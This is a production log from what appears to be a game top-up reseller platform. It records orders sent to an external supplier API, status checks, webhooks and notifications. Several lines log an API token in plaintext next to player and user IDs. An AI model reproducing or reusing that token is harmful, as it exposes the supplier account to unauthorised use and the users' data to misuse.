[2026-03-24 14:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02"} 
[2026-03-24 14:38:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","total_operations":3,"sites_count":1} 
[2026-03-24 14:38:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-NtNhq1-1774352268","ORD-02K1dcVb-1774352275"]} 
[2026-03-24 14:38:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:38:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 14:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NtNhq1-1774352268","operation_id":163681} 
[2026-03-24 14:38:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NtNhq1-1774352268","operation_id":163681,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 14:38:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NtNhq1-1774352268","operation_id":163681,"processed":0,"errors":0} 
[2026-03-24 14:38:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"eklkkKsqH4QZxS8nBbDo7yHhKmhIqIq0","execution_time":"2026-03-24 14:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NtNhq1-1774352268","operation_id":163681} 
[2026-03-24 14:38:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NtNhq1-1774352268","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:38:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-NtNhq1-1774352268","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:38:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:38:05] production.INFO: SendAcceptReject: Notification queued {"user_id":280,"notification_type":"order_approved","reference_id":178760} 
[2026-03-24 14:38:05] production.INFO: Order updated successfully. Order ID: 178760, Status: completed  
[2026-03-24 14:38:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NtNhq1-1774352268","status":"completed","codes_count":0} 
[2026-03-24 14:38:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 280  
[2026-03-24 14:39:54] production.INFO: Constructing job for order: 178762  
[2026-03-24 14:39:55] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"415.0","mainamount":"415","operation_number":"600430843606","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php57vs4695oko1aZX31Vg"}},"user_id":1609} 
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:39:56] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:39:56] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18628,"user_id":1609,"amount":415.0,"admins_notified":7} 
[2026-03-24 14:39:56] production.INFO: Handling job for order: 178762  
[2026-03-24 14:39:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:39:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:39:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=20000&uuid=a0dde7df-4d2b-4c0b-ad74-12c5eb86710b&Player_ID=3270271  
[2026-03-24 14:39:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=20000&uuid=a0dde7df-4d2b-4c0b-ad74-12c5eb86710b&Player_ID=3270271","has_body":false} 
[2026-03-24 14:39:57] production.INFO: Operation sent successfully {"operation_id":163683,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tST-1774352397","amount":1.4974719999999999142659135031863115727901458740234375,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 14:39:57"}},"processed_data":{"order_number":"ORD-tST-1774352397","amount":1.4974719999999999142659135031863115727901458740234375,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 14:40:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03"} 
[2026-03-24 14:40:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","total_operations":3,"sites_count":1} 
[2026-03-24 14:40:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-tST-1774352397"]} 
[2026-03-24 14:40:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:40:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 14:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tST-1774352397","operation_id":163683} 
[2026-03-24 14:40:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tST-1774352397","operation_id":163683,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 14:40:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tST-1774352397","operation_id":163683,"processed":0,"errors":0} 
[2026-03-24 14:40:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ILXN9HWOO1KfwVXpyMMXwH6H7FKfI8pM","execution_time":"2026-03-24 14:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tST-1774352397","operation_id":163683} 
[2026-03-24 14:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:40:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:40:05] production.INFO: async() رجع: true  
[2026-03-24 14:40:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:40:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:40:32] production.INFO: Constructing job for order: 178763  
[2026-03-24 14:40:34] production.INFO: Handling job for order: 178763  
[2026-03-24 14:40:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:40:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:40:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/626/params?qty=33000&uuid=1ff35310-dc52-4e20-a968-138e25ace95f&Player_ID=7158345  
[2026-03-24 14:40:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/626/params?qty=33000&uuid=1ff35310-dc52-4e20-a968-138e25ace95f&Player_ID=7158345","has_body":false} 
[2026-03-24 14:40:35] production.INFO: Operation sent successfully {"operation_id":163684,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-djVT3-1774352434","amount":4.13648069999999989931893651373684406280517578125,"status":"processing","product":"SoMatch Amount","game":"SoMatch","notes":[],"created_at":"2026-03-24 14:40:35"}},"processed_data":{"order_number":"ORD-djVT3-1774352434","amount":4.13648069999999989931893651373684406280517578125,"status":"processing","product":"SoMatch Amount","game":"SoMatch"}} 
[2026-03-24 14:40:56] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"request_approved","reference_id":18626} 
[2026-03-24 14:40:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 14:41:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1724,"notification_type":"request_approved","reference_id":18627} 
[2026-03-24 14:41:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1724  
[2026-03-24 14:41:26] production.INFO: SendAcceptReject: Notification queued {"user_id":1609,"notification_type":"request_approved","reference_id":18628} 
[2026-03-24 14:41:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1609  
[2026-03-24 14:41:36] production.INFO: Constructing job for order: 178764  
[2026-03-24 14:41:38] production.INFO: Handling job for order: 178764  
[2026-03-24 14:41:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:41:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:41:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0c99b57b-49fe-43e9-9554-a104a281d24e&Player_ID=51772004702  
[2026-03-24 14:41:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0c99b57b-49fe-43e9-9554-a104a281d24e&Player_ID=51772004702","has_body":false} 
[2026-03-24 14:41:39] production.INFO: Operation sent successfully {"operation_id":163685,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PUqrSJ-1774352498","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:41:39"}},"processed_data":{"order_number":"ORD-PUqrSJ-1774352498","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:41:44] production.INFO: Constructing job for order: 178765  
[2026-03-24 14:41:45] production.INFO: Handling job for order: 178765  
[2026-03-24 14:41:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:41:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:41:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=103000&uuid=dafc1f55-3d25-438b-8a82-b7b2b0e6d2f8&Player_ID=590285674  
[2026-03-24 14:41:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=103000&uuid=dafc1f55-3d25-438b-8a82-b7b2b0e6d2f8&Player_ID=590285674","has_body":false} 
[2026-03-24 14:41:45] production.INFO: Constructing job for order: 178766  
[2026-03-24 14:41:46] production.INFO: Operation sent successfully {"operation_id":163686,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xIoFiP-1774352505","amount":10.45527249999999952478901832364499568939208984375,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 14:41:46"}},"processed_data":{"order_number":"ORD-xIoFiP-1774352505","amount":10.45527249999999952478901832364499568939208984375,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 14:41:46] production.INFO: Handling job for order: 178766  
[2026-03-24 14:41:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:41:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:41:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/97/params?qty=10000&uuid=b6f839c3-34a8-4414-a440-8f63cada6262&Player_ID=822434973  
[2026-03-24 14:41:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/97/params?qty=10000&uuid=b6f839c3-34a8-4414-a440-8f63cada6262&Player_ID=822434973","has_body":false} 
[2026-03-24 14:41:46] production.INFO: Operation sent successfully {"operation_id":163687,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UNx-1774352506","amount":10.4427929999999999921556081972084939479827880859375,"status":"processing","product":"PartyStar Amount","game":"PartyStar","notes":[],"created_at":"2026-03-24 14:41:46"}},"processed_data":{"order_number":"ORD-UNx-1774352506","amount":10.4427929999999999921556081972084939479827880859375,"status":"processing","product":"PartyStar Amount","game":"PartyStar"}} 
[2026-03-24 14:42:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04"} 
[2026-03-24 14:42:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","total_operations":7,"sites_count":1} 
[2026-03-24 14:42:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","orders_count":7,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-tST-1774352397","ORD-djVT3-1774352434","ORD-PUqrSJ-1774352498","ORD-xIoFiP-1774352505","ORD-UNx-1774352506"]} 
[2026-03-24 14:42:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:42:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":7} 
[2026-03-24 14:42:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:42:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:42:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:42:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-PUqrSJ-1774352498","operation_id":163685} 
[2026-03-24 14:42:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:42:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686} 
[2026-03-24 14:42:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"processed":1,"skipped":6,"updates_prepared":1} 
[2026-03-24 14:42:05] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:42:05] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"count":1} 
[2026-03-24 14:42:05] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"count":1} 
[2026-03-24 14:42:05] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"user_id":771,"notification_type":"order_approved","reference_id":178762} 
[2026-03-24 14:42:05] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:42:05] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:42:05] production.INFO: Batch update completed {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"processed":1,"errors":0} 
[2026-03-24 14:42:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686,"processed":1,"errors":0} 
[2026-03-24 14:42:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"D9xlcfjWiNl9iRkhUZQ7DXF0QHDq9M4l","execution_time":"2026-03-24 14:42:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xIoFiP-1774352505","operation_id":163686} 
[2026-03-24 14:42:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 14:42:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-tST-1774352397","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:42:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-tST-1774352397","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:42:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:42:06] production.ERROR: Order not found or already processed. External ID: ORD-tST-1774352397  
[2026-03-24 14:42:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-tST-1774352397","status":"completed","codes_count":0} 
[2026-03-24 14:42:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PUqrSJ-1774352498","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:42:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-PUqrSJ-1774352498","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:42:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:42:09] production.INFO: SendAcceptReject: Notification queued {"user_id":530,"notification_type":"order_approved","reference_id":178764} 
[2026-03-24 14:42:09] production.INFO: Order updated successfully. Order ID: 178764, Status: completed  
[2026-03-24 14:42:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PUqrSJ-1774352498","status":"completed","codes_count":0} 
[2026-03-24 14:42:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 530  
[2026-03-24 14:42:22] production.INFO: Constructing job for order: 178767  
[2026-03-24 14:42:23] production.INFO: Handling job for order: 178767  
[2026-03-24 14:42:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:42:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:42:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3ef516ae-b103-4e77-96e3-3ad18ca19768&Player_ID=12153703409  
[2026-03-24 14:42:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3ef516ae-b103-4e77-96e3-3ad18ca19768&Player_ID=12153703409","has_body":false} 
[2026-03-24 14:42:23] production.INFO: Operation sent successfully {"operation_id":163688,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Bpc4YqA-1774352543","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:42:23"}},"processed_data":{"order_number":"ORD-Bpc4YqA-1774352543","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:42:36] production.INFO: Constructing job for order: 178768  
[2026-03-24 14:42:38] production.INFO: Handling job for order: 178768  
[2026-03-24 14:42:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:42:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:42:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7bb8be98-cf77-46a6-9945-91126f0206ef&Player_ID=52307544482  
[2026-03-24 14:42:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7bb8be98-cf77-46a6-9945-91126f0206ef&Player_ID=52307544482","has_body":false} 
[2026-03-24 14:42:39] production.INFO: Operation sent successfully {"operation_id":163689,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-G3VxP-1774352559","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:42:39"}},"processed_data":{"order_number":"ORD-G3VxP-1774352559","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:42:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-G3VxP-1774352559","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:42:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-G3VxP-1774352559","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:42:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:42:50] production.INFO: SendAcceptReject: Notification queued {"user_id":1609,"notification_type":"order_approved","reference_id":178768} 
[2026-03-24 14:42:50] production.INFO: Order updated successfully. Order ID: 178768, Status: completed  
[2026-03-24 14:42:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-G3VxP-1774352559","status":"completed","codes_count":0} 
[2026-03-24 14:42:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1609  
[2026-03-24 14:42:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Bpc4YqA-1774352543","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:42:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-Bpc4YqA-1774352543","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:42:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:42:57] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"order_approved","reference_id":178767} 
